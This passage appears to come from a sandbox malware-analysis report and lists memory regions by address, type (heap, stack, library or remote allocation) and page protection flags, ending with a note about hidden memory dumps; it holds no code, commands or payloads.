|
stack
|
page read and write
|
||
51B000
|
heap
|
page read and write
|
||
3E9F000
|
stack
|
page read and write
|
||
460000
|
trusted library allocation
|
page read and write
|
||
36CF000
|
heap
|
page read and write
|
||
2D57000
|
heap
|
page read and write
|
||
2C50000
|
heap
|
page read and write
|
||
57A000
|
heap
|
page read and write
|
||
4B90000
|
heap
|
page read and write
|
||
51B000
|
heap
|
page read and write
|
||
B52000
|
trusted library allocation
|
page read and write
|
||
2C34000
|
heap
|
page read and write
|
||
5100000
|
heap
|
page read and write
|
||
5E8E000
|
stack
|
page read and write | page guard
|
||
BFD000
|
stack
|
page read and write
|
||
2B74000
|
heap
|
page read and write
|
||
7EB000
|
heap
|
page read and write
|
||
7C4000
|
heap
|
page read and write
|
||
C10000
|
trusted library allocation
|
page read and write
|
||
2F6000
|
heap
|
page read and write
|
||
512000
|
heap
|
page read and write
|
||
474000
|
remote allocation
|
page execute and read and write
|
||
26A000
|
trusted library allocation
|
page read and write
|
||
860000
|
heap
|
page read and write
|
||
3EF0000
|
trusted library allocation
|
page read and write
|
||
2DFA000
|
heap
|
page read and write
|
||
5D9F000
|
stack
|
page read and write
|
||
420000
|
trusted library allocation
|
page read and write
|
||
3D5D000
|
stack
|
page read and write
|
||
4DB000
|
heap
|
page read and write
|
||
23C000
|
stack
|
page read and write
|
||
8AF000
|
heap
|
page read and write
|
||
5C64000
|
heap
|
page read and write
|
||
270000
|
trusted library allocation
|
page read and write
|
||
E7000
|
stack
|
page read and write
|
||
533000
|
heap
|
page read and write
|
||
4BCF000
|
stack
|
page read and write
|
||
2BB0000
|
heap
|
page read and write
|
||
533000
|
heap
|
page read and write
|
||
43B0000
|
trusted library allocation
|
page read and write
|
||
2BBD000
|
heap
|
page read and write
|
||
1BA000
|
trusted library allocation
|
page execute and read and write
|
||
980000
|
heap
|
page execute and read and write
|
||
51CD000
|
heap
|
page read and write
|
||
106F000
|
stack
|
page read and write
|
||
A5D000
|
heap
|
page read and write
|
||
440000
|
heap
|
page execute and read and write
|
||
11F0000
|
direct allocation
|
page execute and read and write
|
||
5C3E000
|
stack
|
page read and write
|
||
2D57000
|
heap
|
page read and write
|
||
32D0000
|
trusted library allocation
|
page read and write
|
||
2B9F000
|
heap
|
page read and write
|
||
4D7000
|
heap
|
page read and write
|
||
52B000
|
stack
|
page read and write
|
||
7951000
|
trusted library allocation
|
page read and write
|
||
2A8E000
|
stack
|
page read and write
|
||
36F000
|
heap
|
page read and write
|
||
260000
|
trusted library allocation
|
page read and write
|
||
1066000
|
heap
|
page execute and read and write
|
||
226000
|
stack
|
page read and write
|
||
517000
|
heap
|
page read and write
|
||
2D46000
|
heap
|
page read and write
|
||
3910000
|
heap
|
page read and write
|
||
20000
|
heap
|
page read and write
|
||
1DEE000
|
stack
|
page read and write
|
||
150000
|
trusted library allocation
|
page read and write
|
||
8A0000
|
trusted library allocation
|
page read and write
|
||
3E7000
|
heap
|
page read and write
|
||
29B1000
|
trusted library allocation
|
page read and write
|
||
608000
|
heap
|
page read and write
|
||
415D000
|
stack
|
page read and write
|
||
207E000
|
heap
|
page read and write
|
||
43B0000
|
heap
|
page read and write
|
||
54C000
|
heap
|
page read and write
|
||
4B94000
|
heap
|
page read and write
|
||
2E9000
|
heap
|
page read and write
|
||
3EF0000
|
trusted library allocation
|
page read and write
|
||
A30000
|
heap
|
page read and write
|
||
4BE000
|
heap
|
page read and write
|
||
400000
|
system
|
page execute and read and write
|
||
867000
|
heap
|
page read and write
|
||
710000
|
heap
|
page read and write
|
||
6180000
|
heap
|
page read and write
|
||
2BE0000
|
heap
|
page read and write
|
||
92AC000
|
trusted library allocation
|
page read and write
|
||
4EAE000
|
heap
|
page read and write
|
||
24F000
|
stack
|
page read and write
|
||
2BC000
|
stack
|
page read and write
|
||
7F6000
|
heap
|
page read and write
|
||
3729000
|
trusted library allocation
|
page read and write
|
||
2A0000
|
heap
|
page read and write
|
||
D2F000
|
stack
|
page read and write
|
||
926E000
|
trusted library allocation
|
page read and write
|
||
337000
|
stack
|
page read and write
|
||
247000
|
stack
|
page read and write
|
||
48C0000
|
trusted library allocation
|
page read and write
|
||
3098000
|
heap
|
page read and write
|
||
8B6000
|
heap
|
page read and write
|
||
49E8000
|
trusted library allocation
|
page read and write
|
||
73A000
|
heap
|
page read and write
|
||
5F7000
|
heap
|
page read and write
|
||
E40000
|
heap
|
page read and write
|
||
500000
|
trusted library allocation
|
page read and write
|
||
36E4000
|
heap
|
page read and write
|
||
2AEE000
|
stack
|
page read and write
|
||
4430000
|
trusted library allocation
|
page execute and read and write
|
||
4F07000
|
heap
|
page read and write
|
||
1D62000
|
heap
|
page read and write
|
||
7151000
|
trusted library allocation
|
page read and write
|
||
31E9000
|
trusted library allocation
|
page read and write
|
||
449000
|
heap
|
page read and write
|
||
51B9000
|
heap
|
page read and write
|
||
43B0000
|
trusted library allocation
|
page read and write
|
||
2D7B000
|
heap
|
page read and write
|
||
4FCC000
|
heap
|
page read and write
|
||
4AED000
|
stack
|
page read and write
|
||
C40000
|
trusted library allocation
|
page execute and read and write
|
||
C5C000
|
trusted library allocation
|
page read and write
|
||
411F000
|
stack
|
page read and write
|
||
4D4F000
|
stack
|
page read and write
|
||
110000
|
trusted library allocation
|
page read and write
|
||
4A90000
|
trusted library allocation
|
page execute and read and write
|
||
A40000
|
trusted library allocation
|
page read and write
|
||
89C000
|
heap
|
page read and write
|
||
2BBE000
|
heap
|
page read and write
|
||
283B000
|
trusted library allocation
|
page read and write
|
||
66A000
|
heap
|
page read and write
|
||
2D4F000
|
heap
|
page read and write
|
||
218E000
|
stack
|
page read and write
|
||
3B0000
|
heap
|
page read and write
|
||
3B2F000
|
stack
|
page read and write
|
||
5E73000
|
trusted library allocation
|
page read and write
|
||
4B8E000
|
stack
|
page read and write
|
||
4D0E000
|
stack
|
page read and write
|
||
790000
|
heap
|
page read and write
|
||
5B9000
|
heap
|
page read and write
|
||
60CE000
|
stack
|
page read and write
|
||
47D000
|
heap
|
page read and write
|
||
B2D000
|
stack
|
page read and write
|
||
637000
|
heap
|
page read and write
|
||
4F4E000
|
stack
|
page read and write
|
||
2C5F000
|
heap
|
page read and write
|
||
50A2000
|
heap
|
page read and write
|
||
3275000
|
heap
|
page read and write
|
||
26F000
|
heap
|
page read and write
|
||
2D42000
|
heap
|
page read and write
|
||
285000
|
trusted library allocation
|
page execute and read and write
|
||
4A6E000
|
stack
|
page read and write
|
||
52C000
|
heap
|
page read and write
|
||
2D3E000
|
stack
|
page read and write
|
||
5E8F000
|
stack
|
page read and write
|
||
630000
|
heap
|
page read and write
|
||
3737000
|
trusted library allocation
|
page read and write
|
||
AB0000
|
direct allocation
|
page read and write
|
||
2DF9000
|
heap
|
page read and write
|
||
BE6000
|
heap
|
page execute and read and write
|
||
180000
|
heap
|
page read and write
|
||
3737000
|
trusted library allocation
|
page read and write
|
||
A80000
|
trusted library allocation
|
page read and write
|
||
43B0000
|
trusted library allocation
|
page read and write
|
||
348000
|
stack
|
page read and write
|
||
12D000
|
trusted library allocation
|
page execute and read and write
|
||
81CF000
|
stack
|
page read and write
|
||
3FDF000
|
stack
|
page read and write
|
||
BBE000
|
stack
|
page read and write
|
||
4B0000
|
trusted library allocation
|
page read and write
|
||
2D57000
|
heap
|
page read and write
|
||
B30000
|
trusted library allocation
|
page execute and read and write
|
||
428B000
|
stack
|
page read and write
|
||
B50000
|
trusted library allocation
|
page read and write
|
||
236000
|
stack
|
page read and write
|
||
5F7E000
|
stack
|
page read and write
|
||
41D0000
|
heap
|
page read and write
|
||
2C1F000
|
stack
|
page read and write
|
||
4FAE000
|
heap
|
page read and write
|
There are 960 hidden memdumps, click here to show them.